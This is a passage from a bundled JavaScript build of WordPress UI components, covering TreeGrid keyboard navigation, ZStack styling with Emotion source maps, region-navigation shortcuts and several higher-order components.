49556 }, ref) {
49557 return /* @__PURE__ */ (0, import_jsx_runtime289.jsx)(roving_tab_index_item_default, {
49558 ref,
49559 ...props,
49560 children
49561 });
49562 }
49563 var TreeGridItem = (0, import_element213.forwardRef)(UnforwardedTreeGridItem);
49564 TreeGridItem.displayName = "TreeGridItem";
49565 var item_default3 = TreeGridItem;
49566
49567 // packages/components/build-module/tree-grid/cell.mjs
49568 var import_jsx_runtime290 = __toESM(require_jsx_runtime(), 1);
49569 function UnforwardedTreeGridCell({
49570 children,
49571 withoutGridItem = false,
49572 ...props
49573 }, ref) {
49574 return /* @__PURE__ */ (0, import_jsx_runtime290.jsx)("td", {
49575 ...props,
49576 role: "gridcell",
49577 children: withoutGridItem ? /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(import_jsx_runtime290.Fragment, {
49578 children: typeof children === "function" ? children({
49579 ...props,
49580 ref
49581 }) : children
49582 }) : /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(item_default3, {
49583 ref,
49584 children
49585 })
49586 });
49587 }
49588 var TreeGridCell = (0, import_element214.forwardRef)(UnforwardedTreeGridCell);
49589 TreeGridCell.displayName = "TreeGridCell";
49590 var cell_default = TreeGridCell;
49591
49592 // packages/components/build-module/tree-grid/index.mjs
49593 function getRowFocusables(rowElement) {
49594 const focusablesInRow = import_dom33.focus.focusable.find(rowElement, {
49595 sequential: true
49596 });
49597 return focusablesInRow.filter((focusable) => {
49598 return focusable.closest('[role="row"]') === rowElement;
49599 });
49600 }
49601 function UnforwardedTreeGrid({
49602 children,
49603 onExpandRow = () => {
49604 },
49605 onCollapseRow = () => {
49606 },
49607 onFocusRow = () => {
49608 },
49609 applicationAriaLabel,
49610 ...props
49611 }, ref) {
49612 const onKeyDown = (0, import_element215.useCallback)((event) => {
49613 const {
49614 keyCode,
49615 metaKey,
49616 ctrlKey,
49617 altKey
49618 } = event;
49619 const hasModifierKeyPressed = metaKey || ctrlKey || altKey;
49620 if (hasModifierKeyPressed || ![import_keycodes2.UP, import_keycodes2.DOWN, import_keycodes2.LEFT, import_keycodes2.RIGHT, import_keycodes2.HOME, import_keycodes2.END].includes(keyCode)) {
49621 return;
49622 }
49623 event.stopPropagation();
49624 const {
49625 activeElement
49626 } = document;
49627 const {
49628 currentTarget: treeGridElement
49629 } = event;
49630 if (!activeElement || !treeGridElement.contains(activeElement)) {
49631 return;
49632 }
49633 const activeRow = activeElement.closest('[role="row"]');
49634 if (!activeRow) {
49635 return;
49636 }
49637 const focusablesInRow = getRowFocusables(activeRow);
49638 const currentColumnIndex = focusablesInRow.indexOf(activeElement);
49639 const canExpandCollapse = 0 === currentColumnIndex;
49640 const cannotFocusNextColumn = canExpandCollapse && (activeRow.getAttribute("data-expanded") === "false" || activeRow.getAttribute("aria-expanded") === "false") && keyCode === import_keycodes2.RIGHT;
49641 if ([import_keycodes2.LEFT, import_keycodes2.RIGHT].includes(keyCode)) {
49642 let nextIndex;
49643 if (keyCode === import_keycodes2.LEFT) {
49644 nextIndex = Math.max(0, currentColumnIndex - 1);
49645 } else {
49646 nextIndex = Math.min(currentColumnIndex + 1, focusablesInRow.length - 1);
49647 }
49648 if (canExpandCollapse) {
49649 if (keyCode === import_keycodes2.LEFT) {
49650 if (activeRow.getAttribute("data-expanded") === "true" || activeRow.getAttribute("aria-expanded") === "true") {
49651 onCollapseRow(activeRow);
49652 event.preventDefault();
49653 return;
49654 }
49655 const level = Math.max(parseInt(activeRow?.getAttribute("aria-level") ?? "1", 10) - 1, 1);
49656 const rows = Array.from(treeGridElement.querySelectorAll('[role="row"]'));
49657 let parentRow = activeRow;
49658 const currentRowIndex = rows.indexOf(activeRow);
49659 for (let i3 = currentRowIndex; i3 >= 0; i3--) {
49660 const ariaLevel = rows[i3].getAttribute("aria-level");
49661 if (ariaLevel !== null && parseInt(ariaLevel, 10) === level) {
49662 parentRow = rows[i3];
49663 break;
49664 }
49665 }
49666 getRowFocusables(parentRow)?.[0]?.focus();
49667 }
49668 if (keyCode === import_keycodes2.RIGHT) {
49669 if (activeRow.getAttribute("data-expanded") === "false" || activeRow.getAttribute("aria-expanded") === "false") {
49670 onExpandRow(activeRow);
49671 event.preventDefault();
49672 return;
49673 }
49674 const focusableItems = getRowFocusables(activeRow);
49675 if (focusableItems.length > 0) {
49676 focusableItems[nextIndex]?.focus();
49677 }
49678 }
49679 event.preventDefault();
49680 return;
49681 }
49682 if (cannotFocusNextColumn) {
49683 return;
49684 }
49685 focusablesInRow[nextIndex].focus();
49686 event.preventDefault();
49687 } else if ([import_keycodes2.UP, import_keycodes2.DOWN].includes(keyCode)) {
49688 const rows = Array.from(treeGridElement.querySelectorAll('[role="row"]'));
49689 const currentRowIndex = rows.indexOf(activeRow);
49690 let nextRowIndex;
49691 if (keyCode === import_keycodes2.UP) {
49692 nextRowIndex = Math.max(0, currentRowIndex - 1);
49693 } else {
49694 nextRowIndex = Math.min(currentRowIndex + 1, rows.length - 1);
49695 }
49696 if (nextRowIndex === currentRowIndex) {
49697 event.preventDefault();
49698 return;
49699 }
49700 const focusablesInNextRow = getRowFocusables(rows[nextRowIndex]);
49701 if (!focusablesInNextRow || !focusablesInNextRow.length) {
49702 event.preventDefault();
49703 return;
49704 }
49705 const nextIndex = Math.min(currentColumnIndex, focusablesInNextRow.length - 1);
49706 focusablesInNextRow[nextIndex].focus();
49707 onFocusRow(event, activeRow, rows[nextRowIndex]);
49708 event.preventDefault();
49709 } else if ([import_keycodes2.HOME, import_keycodes2.END].includes(keyCode)) {
49710 const rows = Array.from(treeGridElement.querySelectorAll('[role="row"]'));
49711 const currentRowIndex = rows.indexOf(activeRow);
49712 let nextRowIndex;
49713 if (keyCode === import_keycodes2.HOME) {
49714 nextRowIndex = 0;
49715 } else {
49716 nextRowIndex = rows.length - 1;
49717 }
49718 if (nextRowIndex === currentRowIndex) {
49719 event.preventDefault();
49720 return;
49721 }
49722 const focusablesInNextRow = getRowFocusables(rows[nextRowIndex]);
49723 if (!focusablesInNextRow || !focusablesInNextRow.length) {
49724 event.preventDefault();
49725 return;
49726 }
49727 const nextIndex = Math.min(currentColumnIndex, focusablesInNextRow.length - 1);
49728 focusablesInNextRow[nextIndex].focus();
49729 onFocusRow(event, activeRow, rows[nextRowIndex]);
49730 event.preventDefault();
49731 }
49732 }, [onExpandRow, onCollapseRow, onFocusRow]);
49733 return /* @__PURE__ */ (0, import_jsx_runtime291.jsx)(RovingTabIndex, {
49734 children: /* @__PURE__ */ (0, import_jsx_runtime291.jsx)("div", {
49735 role: "application",
49736 "aria-label": applicationAriaLabel,
49737 children: /* @__PURE__ */ (0, import_jsx_runtime291.jsx)("table", {
49738 ...props,
49739 role: "treegrid",
49740 onKeyDown,
49741 ref,
49742 children: /* @__PURE__ */ (0, import_jsx_runtime291.jsx)("tbody", {
49743 children
49744 })
49745 })
49746 })
49747 });
49748 }
49749 var TreeGrid = (0, import_element215.forwardRef)(UnforwardedTreeGrid);
49750 TreeGrid.displayName = "TreeGrid";
49751 var tree_grid_default = TreeGrid;
49752
49753 // packages/components/build-module/isolated-event-container/index.mjs
49754 var import_element216 = __toESM(require_element(), 1);
49755 var import_deprecated26 = __toESM(require_deprecated(), 1);
49756 var import_jsx_runtime292 = __toESM(require_jsx_runtime(), 1);
49757 function stopPropagation(event) {
49758 event.stopPropagation();
49759 }
49760 var IsolatedEventContainer = (0, import_element216.forwardRef)((props, ref) => {
49761 (0, import_deprecated26.default)("wp.components.IsolatedEventContainer", {
49762 since: "5.7"
49763 });
49764 return /* @__PURE__ */ (0, import_jsx_runtime292.jsx)("div", {
49765 ...props,
49766 ref,
49767 onMouseDown: stopPropagation
49768 });
49769 });
49770 var isolated_event_container_default = IsolatedEventContainer;
49771
49772 // packages/components/build-module/z-stack/component.mjs
49773 var import_element217 = __toESM(require_element(), 1);
49774
49775 // packages/components/build-module/z-stack/styles.mjs
49776 function _EMOTION_STRINGIFIED_CSS_ERROR__40() {
49777 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
49778 }
49779 var ZStackChildView = /* @__PURE__ */ createStyled("div", false ? {
49780 target: "ebn2ljm1"
49781 } : {
49782 target: "ebn2ljm1",
49783 label: "ZStackChildView"
49784 })("&:not( :first-of-type ){", ({
49785 offsetAmount
49786 }) => /* @__PURE__ */ css({
49787 marginInlineStart: offsetAmount
49788 }, false ? "" : ";label:ZStackChildView;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFZRyIsImZpbGUiOiJzdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBaU3RhY2tDaGlsZFZpZXcgPSBzdHlsZWQuZGl2PCB7XG5cdG9mZnNldEFtb3VudDogbnVtYmVyO1xuXHR6SW5kZXg6IG51bWJlcjtcbn0gPmBcblx0Jjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdCR7ICggeyBvZmZzZXRBbW91bnQgfSApID0+XG5cdFx0XHRjc3MoIHtcblx0XHRcdFx0bWFyZ2luSW5saW5lU3RhcnQ6IG9mZnNldEFtb3VudCxcblx0XHRcdH0gKSB9O1xuXHR9XG5cblx0JHsgKCB7IHpJbmRleCB9ICkgPT4gY3NzKCB7IHpJbmRleCB9ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBaU3RhY2tWaWV3ID0gc3R5bGVkLmRpdjwge1xuXHRpc0xheWVyZWQ6IGJvb2xlYW47XG59ID5gXG5cdGRpc3BsYXk6IGlubGluZS1ncmlkO1xuXHRncmlkLWF1dG8tZmxvdzogY29sdW1uO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cblx0JiA+ICR7IFpTdGFja0NoaWxkVmlldyB9IHtcblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0anVzdGlmeS1zZWxmOiBzdGFydDtcblxuXHRcdCR7ICggeyBpc0xheWVyZWQgfSApID0+XG5cdFx0XHRpc0xheWVyZWRcblx0XHRcdFx0PyAvLyBXaGVuIGBpc0xheWVyZWRgIGlzIHRydWUsIGFsbCBpdGVtcyBvdmVybGFwIGluIHRoZSBzYW1lIGdyaWQgY2VsbFxuXHRcdFx0XHQgIGNzcyggeyBncmlkUm93U3RhcnQ6IDEsIGdyaWRDb2x1bW5TdGFydDogMSB9IClcblx0XHRcdFx0OiB1bmRlZmluZWQgfTtcblx0fVxuYDtcbiJdfQ== */"), ";}", ({
49789 zIndex
49790 }) => /* @__PURE__ */ css({
49791 zIndex
49792 }, false ? "" : ";label:ZStackChildView;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpQnNCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuZXhwb3J0IGNvbnN0IFpTdGFja0NoaWxkVmlldyA9IHN0eWxlZC5kaXY8IHtcblx0b2Zmc2V0QW1vdW50OiBudW1iZXI7XG5cdHpJbmRleDogbnVtYmVyO1xufSA+YFxuXHQmOm5vdCggOmZpcnN0LW9mLXR5cGUgKSB7XG5cdFx0JHsgKCB7IG9mZnNldEFtb3VudCB9ICkgPT5cblx0XHRcdGNzcygge1xuXHRcdFx0XHRtYXJnaW5JbmxpbmVTdGFydDogb2Zmc2V0QW1vdW50LFxuXHRcdFx0fSApIH07XG5cdH1cblxuXHQkeyAoIHsgekluZGV4IH0gKSA9PiBjc3MoIHsgekluZGV4IH0gKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFpTdGFja1ZpZXcgPSBzdHlsZWQuZGl2PCB7XG5cdGlzTGF5ZXJlZDogYm9vbGVhbjtcbn0gPmBcblx0ZGlzcGxheTogaW5saW5lLWdyaWQ7XG5cdGdyaWQtYXV0by1mbG93OiBjb2x1bW47XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQmID4gJHsgWlN0YWNrQ2hpbGRWaWV3IH0ge1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRqdXN0aWZ5LXNlbGY6IHN0YXJ0O1xuXG5cdFx0JHsgKCB7IGlzTGF5ZXJlZCB9ICkgPT5cblx0XHRcdGlzTGF5ZXJlZFxuXHRcdFx0XHQ/IC8vIFdoZW4gYGlzTGF5ZXJlZGAgaXMgdHJ1ZSwgYWxsIGl0ZW1zIG92ZXJsYXAgaW4gdGhlIHNhbWUgZ3JpZCBjZWxsXG5cdFx0XHRcdCAgY3NzKCB7IGdyaWRSb3dTdGFydDogMSwgZ3JpZENvbHVtblN0YXJ0OiAxIH0gKVxuXHRcdFx0XHQ6IHVuZGVmaW5lZCB9O1xuXHR9XG5gO1xuIl19 */"), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFTRyIsImZpbGUiOiJzdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbmV4cG9ydCBjb25zdCBaU3RhY2tDaGlsZFZpZXcgPSBzdHlsZWQuZGl2PCB7XG5cdG9mZnNldEFtb3VudDogbnVtYmVyO1xuXHR6SW5kZXg6IG51bWJlcjtcbn0gPmBcblx0Jjpub3QoIDpmaXJzdC1vZi10eXBlICkge1xuXHRcdCR7ICggeyBvZmZzZXRBbW91bnQgfSApID0+XG5cdFx0XHRjc3MoIHtcblx0XHRcdFx0bWFyZ2luSW5saW5lU3RhcnQ6IG9mZnNldEFtb3VudCxcblx0XHRcdH0gKSB9O1xuXHR9XG5cblx0JHsgKCB7IHpJbmRleCB9ICkgPT4gY3NzKCB7IHpJbmRleCB9ICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBaU3RhY2tWaWV3ID0gc3R5bGVkLmRpdjwge1xuXHRpc0xheWVyZWQ6IGJvb2xlYW47XG59ID5gXG5cdGRpc3BsYXk6IGlubGluZS1ncmlkO1xuXHRncmlkLWF1dG8tZmxvdzogY29sdW1uO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cblx0JiA+ICR7IFpTdGFja0NoaWxkVmlldyB9IHtcblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0anVzdGlmeS1zZWxmOiBzdGFydDtcblxuXHRcdCR7ICggeyBpc0xheWVyZWQgfSApID0+XG5cdFx0XHRpc0xheWVyZWRcblx0XHRcdFx0PyAvLyBXaGVuIGBpc0xheWVyZWRgIGlzIHRydWUsIGFsbCBpdGVtcyBvdmVybGFwIGluIHRoZSBzYW1lIGdyaWQgY2VsbFxuXHRcdFx0XHQgIGNzcyggeyBncmlkUm93U3RhcnQ6IDEsIGdyaWRDb2x1bW5TdGFydDogMSB9IClcblx0XHRcdFx0OiB1bmRlZmluZWQgfTtcblx0fVxuYDtcbiJdfQ== */"));
49793 var _ref10 = false ? {
49794 name: "rs0gp6",
49795 styles: "grid-row-start:1;grid-column-start:1"
49796 } : {
49797 name: "80o7c0-ZStackView",
49798 styles: "grid-row-start:1;grid-column-start:1;label:ZStackView;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQ00iLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG5leHBvcnQgY29uc3QgWlN0YWNrQ2hpbGRWaWV3ID0gc3R5bGVkLmRpdjwge1xuXHRvZmZzZXRBbW91bnQ6IG51bWJlcjtcblx0ekluZGV4OiBudW1iZXI7XG59ID5gXG5cdCY6bm90KCA6Zmlyc3Qtb2YtdHlwZSApIHtcblx0XHQkeyAoIHsgb2Zmc2V0QW1vdW50IH0gKSA9PlxuXHRcdFx0Y3NzKCB7XG5cdFx0XHRcdG1hcmdpbklubGluZVN0YXJ0OiBvZmZzZXRBbW91bnQsXG5cdFx0XHR9ICkgfTtcblx0fVxuXG5cdCR7ICggeyB6SW5kZXggfSApID0+IGNzcyggeyB6SW5kZXggfSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgWlN0YWNrVmlldyA9IHN0eWxlZC5kaXY8IHtcblx0aXNMYXllcmVkOiBib29sZWFuO1xufSA+YFxuXHRkaXNwbGF5OiBpbmxpbmUtZ3JpZDtcblx0Z3JpZC1hdXRvLWZsb3c6IGNvbHVtbjtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCYgPiAkeyBaU3RhY2tDaGlsZFZpZXcgfSB7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGp1c3RpZnktc2VsZjogc3RhcnQ7XG5cblx0XHQkeyAoIHsgaXNMYXllcmVkIH0gKSA9PlxuXHRcdFx0aXNMYXllcmVkXG5cdFx0XHRcdD8gLy8gV2hlbiBgaXNMYXllcmVkYCBpcyB0cnVlLCBhbGwgaXRlbXMgb3ZlcmxhcCBpbiB0aGUgc2FtZSBncmlkIGNlbGxcblx0XHRcdFx0ICBjc3MoIHsgZ3JpZFJvd1N0YXJ0OiAxLCBncmlkQ29sdW1uU3RhcnQ6IDEgfSApXG5cdFx0XHRcdDogdW5kZWZpbmVkIH07XG5cdH1cbmA7XG4iXX0= */",
49799 toString: _EMOTION_STRINGIFIED_CSS_ERROR__40
49800 };
49801 var ZStackView = /* @__PURE__ */ createStyled("div", false ? {
49802 target: "ebn2ljm0"
49803 } : {
49804 target: "ebn2ljm0",
49805 label: "ZStackView"
49806 })("display:inline-grid;grid-auto-flow:column;position:relative;&>", ZStackChildView, "{position:relative;justify-self:start;", ({
49807 isLayered
49808 }) => isLayered ? (
49809 // When `isLayered` is true, all items overlap in the same grid cell
49810 _ref10
49811 ) : void 0, ";}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzQkciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG5leHBvcnQgY29uc3QgWlN0YWNrQ2hpbGRWaWV3ID0gc3R5bGVkLmRpdjwge1xuXHRvZmZzZXRBbW91bnQ6IG51bWJlcjtcblx0ekluZGV4OiBudW1iZXI7XG59ID5gXG5cdCY6bm90KCA6Zmlyc3Qtb2YtdHlwZSApIHtcblx0XHQkeyAoIHsgb2Zmc2V0QW1vdW50IH0gKSA9PlxuXHRcdFx0Y3NzKCB7XG5cdFx0XHRcdG1hcmdpbklubGluZVN0YXJ0OiBvZmZzZXRBbW91bnQsXG5cdFx0XHR9ICkgfTtcblx0fVxuXG5cdCR7ICggeyB6SW5kZXggfSApID0+IGNzcyggeyB6SW5kZXggfSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgWlN0YWNrVmlldyA9IHN0eWxlZC5kaXY8IHtcblx0aXNMYXllcmVkOiBib29sZWFuO1xufSA+YFxuXHRkaXNwbGF5OiBpbmxpbmUtZ3JpZDtcblx0Z3JpZC1hdXRvLWZsb3c6IGNvbHVtbjtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCYgPiAkeyBaU3RhY2tDaGlsZFZpZXcgfSB7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGp1c3RpZnktc2VsZjogc3RhcnQ7XG5cblx0XHQkeyAoIHsgaXNMYXllcmVkIH0gKSA9PlxuXHRcdFx0aXNMYXllcmVkXG5cdFx0XHRcdD8gLy8gV2hlbiBgaXNMYXllcmVkYCBpcyB0cnVlLCBhbGwgaXRlbXMgb3ZlcmxhcCBpbiB0aGUgc2FtZSBncmlkIGNlbGxcblx0XHRcdFx0ICBjc3MoIHsgZ3JpZFJvd1N0YXJ0OiAxLCBncmlkQ29sdW1uU3RhcnQ6IDEgfSApXG5cdFx0XHRcdDogdW5kZWZpbmVkIH07XG5cdH1cbmA7XG4iXX0= */"));
49812
49813 // packages/components/build-module/z-stack/component.mjs
49814 var import_jsx_runtime293 = __toESM(require_jsx_runtime(), 1);
49815 function UnconnectedZStack(props, forwardedRef) {
49816 const {
49817 children,
49818 className: className2,
49819 isLayered = true,
49820 isReversed = false,
49821 offset: offset3 = 0,
49822 ...otherProps
49823 } = useContextSystem(props, "ZStack");
49824 const validChildren = getValidChildren(children);
49825 const childrenLastIndex = validChildren.length - 1;
49826 const clonedChildren = validChildren.map((child, index2) => {
49827 const zIndex = isReversed ? childrenLastIndex - index2 : index2;
49828 const offsetAmount = isLayered ? offset3 * index2 : offset3;
49829 const key = (0, import_element217.isValidElement)(child) ? child.key : index2;
49830 return /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(ZStackChildView, {
49831 offsetAmount,
49832 zIndex,
49833 children: child
49834 }, key);
49835 });
49836 return /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(ZStackView, {
49837 ...otherProps,
49838 className: className2,
49839 isLayered,
49840 ref: forwardedRef,
49841 children: clonedChildren
49842 });
49843 }
49844 var ZStack = contextConnect(UnconnectedZStack, "ZStack");
49845 var component_default41 = ZStack;
49846
49847 // packages/components/build-module/higher-order/navigate-regions/index.mjs
49848 var import_element218 = __toESM(require_element(), 1);
49849 var import_compose76 = __toESM(require_compose(), 1);
49850 var import_keycodes3 = __toESM(require_keycodes(), 1);
49851 var import_jsx_runtime294 = __toESM(require_jsx_runtime(), 1);
49852 var defaultShortcuts = {
49853 previous: [{
49854 modifier: "ctrlShift",
49855 character: "`"
49856 }, {
49857 modifier: "ctrlShift",
49858 character: "~"
49859 }, {
49860 modifier: "access",
49861 character: "p"
49862 }],
49863 next: [{
49864 modifier: "ctrl",
49865 character: "`"
49866 }, {
49867 modifier: "access",
49868 character: "n"
49869 }]
49870 };
49871 function useNavigateRegions(shortcuts = defaultShortcuts) {
49872 const ref = (0, import_element218.useRef)(null);
49873 const [isFocusingRegions, setIsFocusingRegions] = (0, import_element218.useState)(false);
49874 function focusRegion(offset3) {
49875 const regions = Array.from(ref.current?.querySelectorAll('[role="region"][tabindex="-1"]') ?? []);
49876 if (!regions.length) {
49877 return;
49878 }
49879 let nextRegion = regions[0];
49880 const wrappingRegion = ref.current?.ownerDocument?.activeElement?.closest('[role="region"][tabindex="-1"]');
49881 const selectedIndex = wrappingRegion ? regions.indexOf(wrappingRegion) : -1;
49882 if (selectedIndex !== -1) {
49883 let nextIndex = selectedIndex + offset3;
49884 nextIndex = nextIndex === -1 ? regions.length - 1 : nextIndex;
49885 nextIndex = nextIndex === regions.length ? 0 : nextIndex;
49886 nextRegion = regions[nextIndex];
49887 }
49888 nextRegion.focus();
49889 setIsFocusingRegions(true);
49890 }
49891 const clickRef = (0, import_compose76.useRefEffect)((element) => {
49892 function onClick() {
49893 setIsFocusingRegions(false);
49894 }
49895 element.addEventListener("click", onClick);
49896 return () => {
49897 element.removeEventListener("click", onClick);
49898 };
49899 }, [setIsFocusingRegions]);
49900 return {
49901 ref: (0, import_compose76.useMergeRefs)([ref, clickRef]),
49902 className: isFocusingRegions ? "is-focusing-regions" : "",
49903 onKeyDown(event) {
49904 if (shortcuts.previous.some(({
49905 modifier,
49906 character: character2
49907 }) => {
49908 return import_keycodes3.isKeyboardEvent[modifier](event, character2);
49909 })) {
49910 focusRegion(-1);
49911 } else if (shortcuts.next.some(({
49912 modifier,
49913 character: character2
49914 }) => {
49915 return import_keycodes3.isKeyboardEvent[modifier](event, character2);
49916 })) {
49917 focusRegion(1);
49918 }
49919 }
49920 };
49921 }
49922 var navigate_regions_default = (0, import_compose76.createHigherOrderComponent)((Component9) => function NavigateRegions({
49923 shortcuts,
49924 ...props
49925 }) {
49926 return /* @__PURE__ */ (0, import_jsx_runtime294.jsx)("div", {
49927 ...useNavigateRegions(shortcuts),
49928 children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(Component9, {
49929 ...props
49930 })
49931 });
49932 }, "navigateRegions");
49933
49934 // packages/components/build-module/higher-order/with-constrained-tabbing/index.mjs
49935 var import_compose77 = __toESM(require_compose(), 1);
49936 var import_jsx_runtime295 = __toESM(require_jsx_runtime(), 1);
49937 var withConstrainedTabbing = (0, import_compose77.createHigherOrderComponent)((WrappedComponent) => function ComponentWithConstrainedTabbing(props) {
49938 const ref = (0, import_compose77.useConstrainedTabbing)();
49939 return /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("div", {
49940 ref,
49941 tabIndex: -1,
49942 children: /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(WrappedComponent, {
49943 ...props
49944 })
49945 });
49946 }, "withConstrainedTabbing");
49947 var with_constrained_tabbing_default = withConstrainedTabbing;
49948
49949 // packages/components/build-module/higher-order/with-fallback-styles/index.mjs
49950 var import_es63 = __toESM(require_es6(), 1);
49951 var import_element219 = __toESM(require_element(), 1);
49952 var import_compose78 = __toESM(require_compose(), 1);
49953 var import_jsx_runtime296 = __toESM(require_jsx_runtime(), 1);
49954 var with_fallback_styles_default = (mapNodeToProps) => (0, import_compose78.createHigherOrderComponent)((WrappedComponent) => {
49955 return class WithFallbackStyles extends import_element219.Component {
49956 constructor(props) {
49957 super(props);
49958 this.nodeRef = this.props.node;
49959 this.state = {
49960 fallbackStyles: void 0,
49961 grabStylesCompleted: false
49962 };
49963 this.bindRef = this.bindRef.bind(this);
49964 }
49965 bindRef(node2) {
49966 if (!node2) {
49967 return;
49968 }
49969 this.nodeRef = node2;
49970 }
49971 componentDidMount() {
49972 this.grabFallbackStyles();
49973 }
49974 componentDidUpdate() {
49975 this.grabFallbackStyles();
49976 }
49977 grabFallbackStyles() {
49978 const {
49979 grabStylesCompleted,
49980 fallbackStyles
49981 } = this.state;
49982 if (this.nodeRef && !grabStylesCompleted) {
49983 const newFallbackStyles = mapNodeToProps(this.nodeRef, this.props);
49984 if (!(0, import_es63.default)(newFallbackStyles, fallbackStyles)) {
49985 this.setState({
49986 fallbackStyles: newFallbackStyles,
49987 grabStylesCompleted: Object.values(newFallbackStyles).every(Boolean)
49988 });
49989 }
49990 }
49991 }
49992 render() {
49993 const wrappedComponent = /* @__PURE__ */ (0, import_jsx_runtime296.jsx)(WrappedComponent, {
49994 ...this.props,
49995 ...this.state.fallbackStyles
49996 });
49997 return this.props.node ? wrappedComponent : /* @__PURE__ */ (0, import_jsx_runtime296.jsxs)("div", {
49998 ref: this.bindRef,
49999 children: [" ", wrappedComponent, " "]
50000 });
50001 }
50002 };
50003 }, "withFallbackStyles");
50004
50005 // packages/components/build-module/higher-order/with-filters/index.mjs
50006 var import_element220 = __toESM(require_element(), 1);
50007 var import_hooks11 = __toESM(require_hooks(), 1);
50008 var import_compose79 = __toESM(require_compose(), 1);
50009 var import_jsx_runtime297 = __toESM(require_jsx_runtime(), 1);
50010 var ANIMATION_FRAME_PERIOD = 16;
50011 function withFilters(hookName) {
50012 return (0, import_compose79.createHigherOrderComponent)((OriginalComponent) => {
50013 const namespace = "core/with-filters/" + hookName;
50014 let FilteredComponent;
50015 function ensureFilteredComponent() {
50016 if (FilteredComponent === void 0) {
50017 FilteredComponent = (0, import_hooks11.applyFilters)(hookName, OriginalComponent);
50018 }
50019 }
50020 class FilteredComponentRenderer extends import_element220.Component {
50021 constructor(props) {
50022 super(props);
50023 ensureFilteredComponent();
50024 }
50025 componentDidMount() {
50026 FilteredComponentRenderer.instances.push(this);
50027 if (FilteredComponentRenderer.instances.length === 1) {
50028 (0, import_hooks11.addAction)("hookRemoved", namespace, onHooksUpdated);
50029 (0, import_hooks11.addAction)("hookAdded", namespace, onHooksUpdated);
50030 }
50031 }
50032 componentWillUnmount() {
50033 FilteredComponentRenderer.instances = FilteredComponentRenderer.instances.filter((instance) => instance !== this);
50034 if (FilteredComponentRenderer.instances.length === 0) {
50035 (0, import_hooks11.removeAction)("hookRemoved", namespace);
